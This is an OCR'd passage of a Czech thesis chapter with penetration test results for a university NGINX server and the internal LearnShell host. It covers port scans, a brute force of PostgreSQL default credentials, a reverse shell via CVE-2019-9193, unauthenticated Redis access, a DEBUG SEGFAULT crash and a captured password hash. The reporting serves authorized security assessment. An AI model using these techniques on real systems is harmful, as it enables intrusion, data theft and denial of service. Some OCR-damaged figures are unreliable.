na provéreni zranitelnosti pro sluzbu smtp, nebyla zadna zranitelnost nalezena. Skenovani verzi
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sluzeb neurcilo presnou verzi. Pfi pokusu o pripojeni na tento port pomoci nastroji Telnet
a Netcat se spojeni nepodafilo navazat / bylo zamitnuto.

80/tcp

Néstroj Nmap port 80/tcp oznadil stavem open. Z provedenych skent verzi sluzeb jsem zjistil, Ze
na tomto portu bézi sluzba vyuzivajici protokol HTTP, konkrétné NGINX server. Toto tvrzeni
nastroj WhatWeb potvrdil. Bohuzel pro tcely testovani Nmap neodhalil presnou verzi NGINX.
To muze byt z duvodu toho, ze NGINX poskytuje moznost v konfigura¢nim souboru nastavit
server__tokens na hodnotu off. P¥i takovém nastaveni neni poskytovana hlavicka HTTP Server
s presnou verzi, ale jen s idajem, Ze se jedna o NGINX.

Skenovani nastrojem Nikto odhalilo nékolik nalezii. Jedna se o nepouzivani nékterych HTTP
headers. Tyto hlavicky jsou uvedeny v nasledujicim seznamu i s kratkym popisem. Popis vychazi

z [38].
= X-Frame-Options header

Po spravném nastaveni této hlavicky se webové stranky mohou vyhnout utokim typu click-
jacking zajisténim toho, Ze jejich obsah nebude vlozen na jiné weby. Pridané zabezpeceni
je poskytovano pouze v pripadé, ze uzivatel pristupujici k webové strance pouziva prohlizec
podporujici X-Frame-Options header.

m X-XSS-Protection header

X-XSS-Protection header je funkce Internet Explorer, Chrome a Safari, kterd zastavi nacitani
stranek, kdyz detekuji XSS.

m X-Content-Type-Options header

Je hlavicka pouzivana serverem k oznaceni, ze typy MIME v Content-Type header by nemély
byt ménény a mély by byt dodrzovany.

443 /tcp

Port 443/tcp byl také oznaden stavem open. Na tomto portu bézi NGINX server pouzivajici
protokol HTTPS, ani zde nelze uréit pfesnou verzi tak jako pro port 80/tcp.

Pro tento port Nmap se skriptem ssl-dh-params (z kategorie vuln) nasel zranitelnost CVE-
2015-4000 (vice zde [39]) tykajici se vymény kli¢i za pouziti algoritmu Diffie-Hellman. Utok,
ktery této zranitelnosti zneuziva se nazyva logjam attack a umoznuje man-in-the-midle ttok.

Nastroj Nikto zde nalezl pouze chybéjici HTTP headers. Tti z nich jsou stejné jako pro port
80/tcp a dalsf dvé jsou Strict-Transport-Security HTTP header a Expect-CT header.

Prvni zminéna hlavicka informuje prohlize¢, zZe by nikdy nemél nacist webovou stranku pomoci
protokolu HTTP a mél by misto toho automaticky prevést vSechny pokusy o pristup na ni
pomoci pozadavki HTTPS. Expect-CT nabizi kontrolu souladu SSL certifikatu s Certificate
Transparency a muze pomoci zjistit, pokud se nékdo pokusi pouzit podvodny certifikdt pro
doménu. [Bg]

29876 /tcp

Posledni port, ktery byl oznacen jako open je 29876 /tcp. Zde bézi Radicale calendar and contacts
server (Python BaseHTTPServer). Na proti tomu WhatWeb obdrzel jako HTTP Server header
fetézec ,, WebSockify Python/2.7.13%. Nmap ddle nasel moznou zranitelnost Slowloris DOS at-
tack, kterd méa CVE-2007-6750. Tento nalez oznacil ,, LIKELY VULNERABLE®, coZz znamen4,
Ze server je vystaven utoku DoS, ale v zavislosti na architektufre a limitech zdroji HTTP serveru
neni utok vzdy mozny. Kompletni testovani vyzaduje spusténi skute¢ného ttoku DoS a méreni
odezvy serveru.

Nikto nalezl opét pouze chybé&jici HT'TP headers, jsou to tedy Strict-Transport-Security
HTTP header, Expect-CT header, X-Content-Type-Options header, X-XSS-Protection header,
X-Frame-Options header. Vsechny jiz byly popsany vyse.
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Hodnoceni nalezt s provozovatelem serveru

Vyse uvedené nalezy byly konzultovany s ICT oddélenim, které spravuje tento testovany server.
Hodnoceni se tedy opird o porovnani mych nalezu a zminéné konzultace ohledné téchto

Nmap oznaéil mylné port 25/tcp jako otevieny, jelikoZ na tomto portu nic nebézi a nftables
ho blokuji, mél by byt tedy oznacen jako filtered.

Porty 80 a 443 jsou urceny spravné. Hlavicky HTTP by méla nastavovat sama aplikace
za timto proxy serverem, jelikoz by jinak mohlo dojit k duplikovani hlavicek. Néalez slabych
parametru algoritmu Diffie-Hellman byl potvrzen. Tyto parametry byly pouziviny pouze kvili
starému systému ZP (Zéavéreénych praci), ktery nemél podporu SNI a modernich Sifer. Tento
systém je jiz nahrazen, a tedy i zranitelnost byla odstranéna. Hlavicka Strict-Transport-Security
je serverem nastavovana.

Port 29876 byl urcen nastrojem Nmap sSpatné, jelikoz zde také bézi NGINX server. Tedy na-
lezena zranitelnost CVE-2007-6750 bude pravdépodobné falesny nalez, a to i z divodu vyznamu
oznaceni , LIKELY VULNERABLE“ (popsdno u portu 29876/tcp). Nemohl jsem ovérit, jelikoz
na testovani DoS jsem nemél opravnéni.

Dalsi zranitelnosti nebyly nalezeny automatickymi skenery, ani jsem nemohl najit zranitel-
nosti pro nalezené sluzby a jejich verze, protoze nastroje nedokazaly detekovat verze sluzeb. Na
zakladé urcenych verzi bych mohl zranitelnosti hledat ruc¢né.

Z uvedeného shrnuti a provedenych testt je vidét, zZe nebyly nalezeny zranitelnosti, které bych
mohl jako ttocnik zneuzit.

4.1.3 Shrnuti vysledka penetrac¢niho testu

V této casti byl testovan server s vefejnou IP adresou 147.32.232.212. Pouzival jsem metodologii
PTES. Pomoci automatického skenu bylo nalezeno pochybeni v nenastavovani nékterych hlavicek
HTTP (uvedeno v ,[Vyhodnoceni skenovéni*), ale tyto hlavicky se maji nastavovat az na trovni
aplikace za timto serverem.

Z dtvodu nakonfigurovani serveru a sluzeb, které na ném bézi, nebylo skenovani a hledani
verzi sluzeb uspésné. Dalsi faze testovani se opird o nalezené verze sluzeb, protoze pro ty se
nésledné hledaji zranitelnosti. Zde tedy nebylo umoznéno dalsi pokracovani testu, proto byl test
ukoncen. PTi penetracnim testu nebyly nalezeny zadné zranitelnosti.

4.2 Server s IP adresou 10.38.5.90

U tohoto testu se jiz nebudu tolik zaméfovat na popsani skenovani, jelikoz postupy byly stejné
jako v kapitoleld. 1|, a také proto, ze jsem zde urcil presné verze sluzeb. Pro nalezené sluzby jsem
hledal zranitelnosti, a nasledné se snazil o jejich zneuziti. Dilezitéjsi je tedy zde sepsat nalezené
zranitelnosti a jejich zneuziti nez detailnéji popisovat samotné skenovani.

4.2.1 Skenovani
Nejprve jsem podobné jako v kapitole pouzil nastroj Nmap. Nasledné sken Nikto a DIRB.
Nmap

Vyuzil jsem stejné typy skenovani jako v kapitole . V seznamu niZe jsou uvedeny provedené
typy skenovani a jejich vysledky.

= TCP connect scan Z vypisu prikazu @ lze vidét, Ze porty ve stavu open jsou 22/tcp, 80/tcp,
5000/tcp, 5432/tcp, 8000/tcp.
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B Vypis pfikazu 4.4 Nmap TCP connect scan — IP adresa 10.38.5.90

$ nmap -vv 10.38.5.90
# Zkraceny wvystup
Not shown: 995 closed ports
Reason: 995 conn-refused

PORT STATE SERVICE REASON

22/tcp open ssh syn-ack
80/tcp open http syn-ack
5000/tcp open upnp syn-ack

5432/tcp open postgresql syn-ack
8000/tcp open http-alt syn-ack

= TCP SYN scan

Stejné jako TCP connect scan, i tento typ oznacil stejné porty jako oteviené.

m SCTP INIT scan
Bylo oskenovano 52 porti (dle vychoziho nastaveni) a vSechny oznaleny filtered, protoze
Nmap neobdrzel odpovéd (no-response).

= SCTP COOKIE ECHO scan
Stejné jako typ skenovani SCTP INIT, ani tento typ neobjevil nové oteviené porty. Oznacil
vSechny oskenované porty (vychozich 52) stavem open|filtered.

= TCP NULL, FIN a Xmass scan
Vsechny t¥i typy oznacily dosud nalezené oteviené porty stavem openl|filtered z divodu ne-
obdrzeni odpovédi.

= TCP Window scan

Oskenovanych 1000 portii oznacil stavem closed.

m TCP Maimon scan

Tento sken oznacil oskenované porty closed.

m TCP ACK scan

Timto skenovdnim bylo vSech 1000 nejpouzivanéjsich/nejcastéjsich porti oznaceno jako un-
filtered.

= UDP scan

Skenovani typen UDP scan oznacil 1000 oskenovanych portii za zaviené.

Také jsem v ramci skenovani Nmap provedl sken vSech portti za pouziti TCP connect scan. Piikaz
a vystup lze vidét ve vypisu prikazu f.5, diky kterému byl nalezen novy otevieny port 6379/tcp.
Vsechny oteviené porty jsou tedy 22/tcp, 80/tcp, 5000/tcp, 5432/tcp, 6379/tcp, 8000/tcp.

B Vypis pfikazu 4.5 Nmap TCP connect scan — IP adresa 10.38.5.90 (vSechny porty)

$ nmap 10.38.5.90 -p-
# Zkraceny vystup
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
5432/tcp open postgresqgl
6379/tcp open redis
8000/tcp open http-alt
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Nésledné jsem pro vSechny nalezené oteviené porty provedl skenovani se zapnutou detekci verzi
a OS. Z vypisu prikazuf.q jsou vidét sluzby a verze, které na danych portech bézi.
B Vypis pfikazu 4.6 Nmap TCP SYN scan — IP adresa 10.38.5.90 (verze sluzeb)

$ sudo nmap -sS -sV 10.38.5.90 -0
# Zkraceny vystup

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9pl1 Debian 10+debl0u2 (protocol 2.0)
80/tcp open http nginx 1.19.3

5000/tcp open http Werkzeug httpd 0.15.5 (Python 3.8.6)

5432/tcp open postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.17
6379/tcp open redis Redis key-value store 6.0.8

8000/tcp open http Gunicorn 20.0.4

No exact 0S matches for host

Posledni sken za pomoci nistroje Nmap byl sken s pouzitim NSE skriptu z kategorie vuln. Diky
tomu, ze Nmap umél urcit jednotlivé verze sluzeb (nékdy jen pfiblizné), tak vypsal i zranitelnosti,
které tyto sluzby a jejich verze obsahuji. Z divodu rozsahlosti vypisu, zde nebude uveden.

Na zékladé zhodnoceni architektury aplikace LearnShell a provedeného skenovani sluzeb a zra-
nitelnosti jsem prozkoumal zranitelnosti ve vypisu skenovani Nmap. Déale jsem hledal na inter-
netu, jaké existuji zranitelnosti pro sluzby, které na testovaném serveru bézi. Nalezené zranitel-
nosti pro jednotlivé sluzby jsou prozkoumény v nasledujici podsekcii.2.2

Nikto

Néstroj Nikto nalezl pouze chybéjici HTTP hlavicky, konkrétné pro porty 80/tcp a 5000/tcp.
Jedna se o hlavicky X-Frame-Options header, X-XSS-Protection header a X-Content-Type-
Options header.

Déle nalezl idajnou zranitelnost pro port 80/tcp a to XSS, ale po manualnim ovéfeni pomoci
zaddni vypsaného Skodlivého kédu (nédstrojem Nikto) se script neprovedl. Tento nalez je tedy
false positive (falesné pozitivni).

DIRB a WhatWeb

S vyuzitim téchto nastroji jsem zadné dalsi nové informace neziskal, pouze si ovéril dosavadni.

4.2.2 Analyza a zneuziti zranitelnosti

V této fazi testovani jsem na zakladé dosud zndmych informaci ohledné otevienych portt, sluzeb,
verzi téchto sluzeb a provedenych skenovani hledal dalsi mozné zranitelnosti a ovéroval nalezené.
Zaroven jsem se snazil zneuzit zranitelnosti, pro které je dostupny exploit.

Port 22/tcp

Nejprve jsem se vénoval portu 22/tcp. Zranitelnosti nalezené nastrojem Nmap byly prevdzné
soustfedény na dtoky na klienta (ne na server). Vétsinou pro SCP klienta. Pro proniknuti na
server nejsou nalezené zranitelnosti pouzitelné.

Daéle jsem vyuzil framework Metasploit a modul pro uréeni SSH verze. Po nastaveni modulu
a nasledném spusténi jsem ziskal presnéjsi informace ohledné verze SSH a OS serveru. Z obrazku

lze vidét, Ze verze sluzby je 7.9pl (zjisténo uz Nmap) a OS je Debian verze 10.2. Pro Debian
10.2 jsem nenalezl zranitelnost, které bych mohl zneuzit.

Za pouziti zminéného framework jsem zkousSel i brute force ttok na prihlaseni se pres SSH
na server, ale nedspésné.
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B Obrazek 4.1 Vystup ssh_ version modulu

msf6 auxiliary( ) = exploit

[+] 1@.38.5.9@:22 S8 erver version: SSH-2.8-OpenSsSH_7.9pl
Debian-1@+debl@u? i Qpl apﬂn Jh rommﬂnT Dnbiqn 1G+de
blﬂui service.ve i
nSsH service. cps
4m11y Linux os.prod —LlﬂUA o0s.version=10.2 =cpe:/fo:debian:de
bian_linux:18.2 service.protocol=ssh +iﬂ?ﬂxﬂ11nT db—"h banner )
18.38.5.9@:22 - Scanned 1 of 1 hosts (10 complete)
Auxiliary module execution completed

Port 80/tcp

Vv,

Pro sluzbu, ktera na tomto portu bézi, tedy NGINX 1.19.3, Nmap skenovani zranitelnosti zad-
nou zranitelnost nenaslo. Pfi ru¢nim hledani jsem nenasel zranitelnost, kterda by méla dostupny
exploit.

Na rozdil od NGINX serveru béziciho na predchozi testované IP adrese tento vystavuje svoji
verzi. V zavislosti na znalosti presné verze dtoc¢nik hledd zranitelnosti. Vystavovani verze lze
upravit v konfiguraci serveru.

Castym problémem u konfigurace NGINX byva NGINX Alias traversal / Path traversal nékdy
nazyvano Off-by-slash misconfiguration. Problém spoc¢ivd v tom, Ze u direktivy location neni
lokace ukoncena lomitkem. To mtze umoznit Gtoc¢nikovi ¢ist polozky mimo cilovou slozku, kterou
urcuje direktiva alias. Po prozkoumani konfigurace a zkousky zadani souboru, ktery by nemél
byt pristupny jsem ovéril, ze zde chyba v konfiguraci neni. Dalsi chyby v konfiguraci jsem jesté
zkontroloval néstrojem gixy (Nginx configuration static analyzer), ale ani tento néstroj chybu
nenasel.

Port 5000/tcp

Z vyhodnoceni architektury vim, ze na tomto portu bézi Flask aplikace jménem PS1-Generator.
Nmap sken zjistil, Ze na tomto portu bézi Werkzeug/0.15.5 Python/3.8.6. Z téchto tudaja je
vidét, ze pro server hostujici PS1-Generator se pouziva Flask built-in server, ktery je zajistovan
knihovnou Werkzeug. Tento server je urceny pouze pro vyvoj, neni tedy designovany, aby byl
efektivni, stabilni nebo bezpecny. [40] Werkzeug umoziiuje debug mode, ovéril jsem tedy, ze tento
mod je vypnuty. To se potvrdilo.

Samotna pouzita verze Werkzeug nema znadmé zranitelnosti. Pro verzi Jinja jsem nalezl dvé
zranitelnosti CVE-2019-8341 a CVE-2020-28493. Prvni zminéna je pouze pro pripad, kdy je
pouzita funkce from_ string. Nasledkem této zranitelnosti je mozny SSTI. Pouziti této funkce
jsem ve zdrojovém kodu nenalezl. Druhd je zpusobena hlavné operdatorem _ punctuation re.

Server bézici na tomto portu vystavuje svoji verzi pomoci hlavicky HT'TP Server.

Port 5432/tcp

Na tomto portu bézi sluzba PostgreSQL, u které Nmap neurcil presnou verzi, ale jen odhad. Pro
zjisténi presné verze jsem pouzil modul z Metasploit framework. Vypis i ndzev modulu je vidét
na obrazku §.2. Déale je z néj vidét, ze modul pred autorizaci neumi urcit verzi.

Proto jsem hledal zptisob, jak ziskat prihlasovaci idaje. Prvni moznost byla brute force tutok,
k tomuto tcelu jsem vyuzil dalsi z MSF modulti s ndzvem postgres_ login. Proved] jsem nastaveni
slovniku, IP adresy a portu a spustil modul. Prabéh brute force ttoku je na obrazku §.3. Déle
je z tohoto obrazku vidét, ze utok byl Uspésny a nalezl uzivatelské jméno: ,, postgres* a heslo:
»password“ pro prihlaseni se do PostgreSQL databize se jménem , templatel®. Vychozi jména
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B Obrazek 4.2 Vystup postgres_ version modulu

> run

B:5432 gres - Version Unknown (Pre-Auth)
of 1 ho complete)
module

> run

Credential dat ill not be saved!
LOGIN FAILED: :@mtemplatel (Incor: : FATAL WFATAL

LOGIN FAILED: :tigermte itel (Incorrect: FATAL VFATAL C2800@
LOGIN FAILED: : gresgte latel (Incorrect: FATAL VFATAL
LOGIN FAILED: : late i FATAL VFATAL
LOGIN FAILED: :admin@templatel (Incorrect: FATAL VFATAL C23000
LOGIN FAILED: tgres:ote tel (Incorrect: FATAL VFATAL

LOGIN FAILED: mplatel (Inco : FATAL VFATAL
LOGIN FAILED: gres: gre 1t e ( ‘ : FATAL

Login ¢

databazi na databazovém stroji PostgreSQL jsou template0, templatel a postgres. Vice o vycho-
zich databazich PostgreSQL je zde [@]

Bylo demonstrovano pochybeni ohledné nastaveni prihlasovacich tdaji. Byla tak nalezena
zranitelnost tykajici se pouzivani vychoziho/zndmého jména a hesla.

Jelikoz jsem ziskal prihlasovaci tdaje, mohl jsem se pripojit k databazi pfes nastroj psql.
Pripojit se 1ze pomoci prikazu: ,,psql -h 10.38.5.90 -U templatel“. Po pripojeni jsem si vypsal
vSechny uzivatele, jak je vidét na obrazku {.4. Z toho jsem zjistil, ze znam prihlasovaci udaje
uzivatele, ktery ma prava superuser a tento uzivatel je jediny s pristupem k databazi. To, ze je
uzivatel superuser, lze zjistit i z promptu, jelikoz obsahuje znak ., #.

B Obrazek 4.4 Vypis uzivatelt s pristupem k databazi

| Member of

+
s RLS | {

Ziskani pristupu do databaze jako uzivatel s pravy superuser ma za nésledek naruseni celé
databaze a dat v ni ulozZenych.

Bylo mozné zjistit jména vsSech databdzi viz obrazek @ V néavaznosti na to jsem jako
utocni chtél ziskat dalsi informace z databaze. Diky znalostem ohledné ohledné vychozich data-
bazich pro PostgreSQL jsem ocekaval data pro aplikaci LearnShell v databéazi s ndzvem post-
gres. Nasledné jsem se do ni pripojil a vypsal si vSechny dostupné tabulky pomoci prikazu:
,»SELECT table_name FROM information_schema.tables“. Ve vypisu jsem nalezl naptiklad tabulky
»assignment_ assignment®, ., submission__submission®, ,, user__user“ a dalsi. Dle obsahu téchto ta-
bulek bylo jasné, Ze se jedna o databézi, ve které jsou ulozeny ulohy, uzivatelské ucty a dalsi.
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B Obrazek 4.5 Vystup dotazu na jména databézi

templatel=f \1

List of databas
Collate

S.utfsg
S.utfs

S.utfsg

(3 rows)

Pokud by se k tomuto dostal itoc¢nik, ktery by byl studentem predmétu BI-PS1, tak by si mohl
za pomoci prikazu/dotazu: ,,SELECT name, correction_data FROM assignment_assignment;“ vy-
psat vSechny nazvy tloh a jejich feseni.

Znovu jsem tedy provedl skenovani verze, ale s nastavenymi prihlasovacimi udaji, které byly
zjistény. Vysledkem je presné urceni verze, viz obrazek

Verzi lze také ziskat pripojenim k databazi a naslednym zadanim SQL dotazu. Po pfipojeni
k databazi staci zadat dotaz: ,, SELECT version();“ a nasledné se vypise verze. Takto se docili
stejného vysledku, jako je na obrazku W.6, protoZze modul z MSF provadéni stejné operace, které
jsem zde popsal (pfipojeni k databdzi a zadéni dotazu).

B Obrazek 4.6 Vystup postgres_ version modulu se zndmymi tdaji
> run

Postgres - Version PostgreSQL 9.6. 19 on X86 64— p:‘—1inu'~' gnu
EDebim 9.6.19-1.pgdg90+1), compiled by gcc (Debian 6.3.0-18+deb%ul) 6.3.0

516, 64-bit (Post-Auth)
Scanned 1 of 1 hosts (1@ complete)
Auxiliary module execution completed

Pro zjisténi zdali je komunikace mezi klientem a databdzovym serverem Sifrovana, jsem pouzil
nastroj Wireshark. Zachycena komunikace je ukdzana na obrazku f.7. Pii sledovani komunikace
klienta (skrze psql) s databdzovym serverem bylo zjisténo, ze komunikace neni Sifrovdna. Z ob-
razku @ je vidét, ze uzivatel posild dotaz na verzi a server vraci odpovéd. Podobné by to fun-
govalo i pfi dotazovani na konkrétni data z tabulek databaze. Nepouzivani Sifrované komunikace
umoznuje MITM utok, kde Gto¢nik muze pravé tyto zachycené tdaje ziskat a Cist.

Ze zachycené komunikace také vyplyva, ze autentizacni metoda zalozend na ovéfeni uzivatele
pomoci hesla pouziva hash algoritmus MD5. Tedy hesla uzivateli jsou zahesovana algoritmem
MD5 a ulozena. Kontrola, ze uloZena hesla jsou opravdu MD5 hash, je ukdzana na obrazku
Hash z obrazku a obrazku se lisi z divodu pouzivani salt.

Déle jsem mohl na zdkladé znalosti presné verze overit vypisy zranitelnosti z Nmap skenovani
a nalézt dalsi znamé zranitelnosti, které by se daly zneuzit. Mnoho zranitelnosti, které Nmap
vypsal se netykaji verze 9.6.19. Nmap neumél uréit pfesnou verzi PostgreSQL (pouze rozsah
verzi), a tak vypisoval i zranitelnosti pro vSechny verze v uvedeném rozsahu.

Pro verzi 9.6.19 jsem nalezl zranitelnosti CVE-2020-25695, CVE-2021-20229. Obé tyto zrani-
telnosti vyuzivaji toho, ze itocnik ma pristup k databézi jako obycejny uzivatel a ma v ni urcité
povoleni, ktery nasledné miize zneuzit. Vice o téchto dvou zranitelnostech je zde [@7 ]

V souvislosti s timto ndlezem a informacemi plynoucimi z obrazku Q téchto zranitelnosti
v soucasném stavu nelze vyuzit. Byl ziskan uzivatel s pravy superuser a jini uzivatelé piistup
k databazi nemaji, proto tyto zranitelnosti nelze zneuzit v ramci penetracniho testovani.

Posledni nalezend zranitelnost je CVE-2019-9193. Dle [@] kde jsou detailnéjsi informace
ohledné této zranitelnosti, se o zranitelnost nejedna. Tato zranitelnost se tyka zneuziti funkcio-
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B Obrazek 4.7 Komunikace pomoci psql zachycena Wireshark

.542103615 o o
52401 404.549954147 10.38.5.90 10.38.37.74 PGSQL 395 <R/S5;
52402 404.549975184 10.38.37.74 10.38.5.90 TCP 68 4276
55508 413.531855111 10.38.37.74 10.38.5.90 PGSQL 91 >Q
55511 413.538161395 10.38.5.90 10.38.37.74 PGSQL 264 <T/D.:
55512 413.538180005 10.38.37.74 10.38.5.90 TCP 68 4276

Frame 52398: 109 bytes on wire (872 bits), 109 bytes captured (872 bits) on interface any, id
Linux cooked capture vl
Internet Protocol Version 4, Src: 10.38.37.74, Dst: 10.38.5.90
Transmission Control Protocol, Src Port: 42764, Dst Port: 5432, S5Seq: 94, Ack: 15, Len: 41
PostgresQL

Type: Password message

Length: 48

Password: md59048d70al1d788a641815c56d0T6T2ad7

ivvww

Wireshark - Follow TCP Stream (tcp.stream eq 41) - any

....... I

N...U....user.postgres.database. templatel.application_name.psql.client_encoding.UTFB..R.......
(md59048d70al1d788a641815¢c56d0eT6T2ad7.R. .......5. .. .application_name.psql.S....client_encoding.

..DateStyle. IS0,

MDY.S5....integer_datetimes.on.S....IntervalStyle.postgres.5....1is_superuser.on.S....Server_enc
TFS.S....server_version.

9.6.19.5. #session _authorization.postgres.S. #standard _conforming_ strings.on.s... TimeZone.E
UTC.K. : .IQ....select ver81cn() 52 ooWEEilHTccoss2000as00azs000 D. .Post

9.6. 19 on xSﬁ 64 pc 11nux gnu (Debian 9.6.19- 1 pgdgGG+1], compiled by gcc (Deblan ﬁ 3 9 1B+deb
3.0 20170516, 64-bitC.
SELECT 1.Z....1

B Obrazek 4.8 Uzivatelskd jména a hash hesel v databéazi

nality ,, COPY TO/FROM PROGRAM*. Ta dovoluje uzivateli s pravy superuser nebo uzivateli
patriciho do skupiny ,,pg_execute_server_program“ spoustét libovolny kéd v kontextu uzivatele
operacniho systému databaze. Jelikoz prihlasovaci tdaje jiz byly ziskany, tak jsem mohl zkusit
zneuzit zminéné funkcionality a pokusit se o zprovoznéni reverse shell.

Po vyhledani dostupnych exploit pro CVE-2019-9193 jsem nalezl, ze existuje modul v MSF,
ktery umoznuje vyuzit této zranitelnosti a zprovoznit reverse shell. Po provedeni potifebnych
nastaveni jsem spustil exploit, ktery je vidét na obrazku f1.9. Vytvoreni reverse shell bylo tispésné,
a diky tomu jsem mél pristup k prikazové fadce na systému, na kterém bézi databaze.

Z architektury LearnShell je zndmo, ze PostgreSQL databaze bézi v Docker kontejneru. Jako
utocnik jsem si chtél ovérit, jestli jsem v Docker kontejneru nebo ne. Zadal jsem tedy prikaz
,cat /proc/self/cgroup” jehoz vypis je vidét ve vypisu ptikazu .7 Z tohoto vypisu jsem ziskal
ocekavanou informaci, ze jsem v Docker kontejneru. Pro pokus o unik z kontejneru a ziskani
pristup k systém, na kterém bézi Docker, bych musel mit pristup k uzivateli s pravy root v Docker
kontejneru. Nésledné by byl mozny pokus o unik, ale je maléd Sance, Ze by byl tspésny.
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B Obrazek 4.9 Reverse shell

64-bit

.5.90:51786) at 2021-03-26 21:21:10 +0100

B Vypis pfikazu 4.7 Redis — Reverse shell, prikazy
cat /proc/self/cgroup
11:perf_event:/docker/b28649aa0a509eba252c1d4b694b62514689adbee5299
£b987b8de80370c70cb
# Vypis zkracen

Zneuziti posledni zranitelnosti ma za nasledek pristup k opera¢nimu systému s pravy uzivatel, pro
kterého je spousténa PostgreSQL databaze. Vede ke kompromitaci Docker kontejneru a databaze.

6379 /tcp

Na tomto portu bézi Redis databaze. Sken Nmap urcil verzi 6.0.8 a objevil zranitelnost CVE-
2021-21309. Dle [45] se zranitelnost vztahuje jen na 32-bit Redis (bézici na 32-bit systému nebo
jako 32-bit spustitelny program na 64-bit systému).

Pro zjisténi zdali se jednd o 32-bit nebo 64-bit architekturu jsem se zkusil pripojit k Redis
databazi ptikazem ,nc -vn 10.38.5.90 6379". Pripojeni se zdarilo a tak jsem zadal prikazy pro
databazi, které jsou ukdzany na obrazku . Z tohoto vypisu je vidét, ze jsem se pripojil jako
uzivatel se jménem ,, default”. Déle je vidét, ze jini uzivatelé nemaji pristup. Uzivatel ,, default” je
aktivn{ (on), nemd nastaveno heslo (nopass) mé piistup k kazdému moznému kli¢i (~*) a mize
spustit jakykoli mozny piikaz (+@all). V posledni fadé je vidét, Ze architektura je 64-bit a tedy
CVE-2021-21309 nemé v tomto kontextu vyznam.

7 vyse uvedeného plyne, ze v Redis databdazi je pouzita vychozi konfigurace pro nastaveni
uzivateli. To je zasadni bezpec¢nostni pochybeni, jelikoz se tto¢nik muze pripojit bez jakékoli
autentizace. Zde tedy byla nalezena zranitelnost pro nastaveni prazdného hesla. Z toho jsem
usoudil, ze by zde mohly byt ponechany dalsi vychozi konfigurace.

Zjistil jsem, Ze ve vychozim nastaveni Redis pouziva plain TCP pfipojeni. SSL/TLS je pod-
porovana od verze 6, ale je to jako mozné vylepseni, tedy neni pouzivano implicitné. Pak neni
Sifrovana komunikace mezi klientem a Redis databézi. Zdali je i toto nastaveni ponechano jsem
ovéroval pomoci nastroje Wireshark. Zachycend komunikace je na obrazku z kterého vy-
plyva, ze SSL/TLS neni vyzadovano. To umoziiuje MITM ttok. Pokud by bylo heslo nastaveno,
ale SSL/TLS nebylo vyzadovano, pak zaddvané heslo pfi piihldSeni muze utocénik zachytit.

Dalsim vychozim nastavenim je, ze jsou dostupné vsechny piikazy a to i naptiklad ,, MONI-
TOR*, ,DEBUG SEGFAULT* a ,, CONFIG*. Prvni zminény byl po vyzkouseni povolen a zacal
vypisovat vysledky, z kterych by uto¢nik mohl zjistovat dalsi informace (napfiklad s jakou kom-
ponentou Redis komunikuje). Druhy zapti¢in{ invalidni pristup do paméti, ktery shodi Redis
(urceno pro vyvoj), jako ttocnik bych tak zptisobil DoS. Jestli je tento piikaz povolen jsem vy-
zkousel lokalné, jelikoz zde je stejné nastaveni jako pro produkci. Z obrazku .19 je vidét, ze prikaz
je povoleny a shodi Redis. Ve zminéném obrazku je vypis zkracen a uveden pro demonstraci, ze
se po prikazu neda uz pripojit k Redis databazi.

33



34

Kapitola 4. Vysledky penetrac¢niho testu

B Obrazek 4.10 Redis pripojeni a prikazy

(base) - nc -vn 18.38.5.90
(UNKNOWN) [1@.38
| whoami

d

*1
$7
de
dcC

1

5 .38.37. 10.38.5.90
17 3.337806017 10.38.5.90 10.38.37.74 TCP

AfD N AnTo annnT P T T ] A o E o Trn

Frame 14: 76 bytes on wire (G608 bits), 76 bytes captured (608 bits) on interface any,
Linux cooked capture vi
Internet Protocol Version 4, Src: 19.38.37.74, Dst: 10.38.5.90

Transmission Control Protocol, Src Port: 58262, Dst Port: 6379, Seq: 8, lLen: 8

b
b
b
F

Wireshark - Follow TCP Stream (tcp.stream eq 1) - any

acl whoami .
57

default

acl users

b |
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default

B Obrazek 4.12 Redis pouziti pfikazu ,, DEBUG SEGFAULT*

ainPr 1 co 5 annot nnect to

~:zsh — Konsole

File Edit View Bookmarks Settings Help

) = nc localhost €
segfault

alhost

: Connection refused




4.2. Server s IP adresou 10.38.5.90

B Obrazek 4.13 Redis reverse shell

.9@:

.9@:637 SE

.90 i ploit m:
session |

Posledni prikaz je zneuzivan k RCE. K ziskdni RCE pomoci reverse shell jsem chtél udélat
pomoci MSF a modulu ,redis_replication_cmd__exec*. Po nékolika pokusech se exploit sice
provedl, ale selhalo vytvoreni relace, je ukdzano na obrazku . Tento modul pouziva prikaz
, CONFIG SET dbfilename®, kterym nastavi dbfilename na payload (pro vytvoreni reverse shell).
Kvili zméné dbfilename se odpojili klienti, ktefi byli k Redis databéazi pripojeni a v disledku
toho nefungovalo opravovani odevzdanych Teseni skrze front end.

Nastaveni dbfilename pomoci prikazu ,, CONFIG“ je pouze docCasné a po restartu se obnovi
nastaveni ze konfiguracniho souboru redis.conf.
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8000/tcp

Na portu 8000/tcp bézi Python WSGI HTTP server s ndzvem Gunicorn a verz{ 20.0.4. Pro tuto
verzi jsem nenasel Zadné znamé zranitelnosti.

Nalezena chybna konfigurace v nastaveni hlavicky HT'TP Server, diky které 1ze ziskat pfesnou
verzi Gunicorn.

4.2.3 Vyhodnoceni penetracniho testu

Z vysledku skenovani nastrojem Nmap, konkrétné porovnani TCP ACK skenu a TCP SYN skenu
je vidét, ze zaddné porty nejsou oznaceny filtered. Z toho plyne, Ze se nepouziva firewall na serveru
s IP adresou 10.38.5.90.

Néstroj Nikto nalezl chybéjici HTTP hlavicky pro sluzby na portu 80/tcp a 5000/tcp. O na-
staveni hlavicek by se mél starat NGINX proxy server na portu 80/tcp, jelikoz komunikace
vSech komponent aplikace LearnShell prochézi pres tento server. Zavaznost nenastavovani téchto
hlavic¢ek je minimalni.

Vystaveni verze serveru skrze hlavicku HTTP Server bylo nalezeno u serveri bézicich na
portech 80, 5000, 8000.

Pro porty 22, 80 nebyly nalezeny zranitelnosti.

Port 5000 pouziva HTTP server, ktery je urcen pro vyvoj. Dale aplikace, kterda bézi na tomto
serveru pouziva Jinja2 se zranitelnostmi CVE-2019-8341 a CVE-2020-28493.

Zasadni bezpecnostni pochybeni byly nalezeny pro databazi PostgreSQL. Pouzivani béznych
ptihlasovacich tidaji pro uzivatele s pravy root, verze se zndmymi zranitelnostmi (CVE-2020-
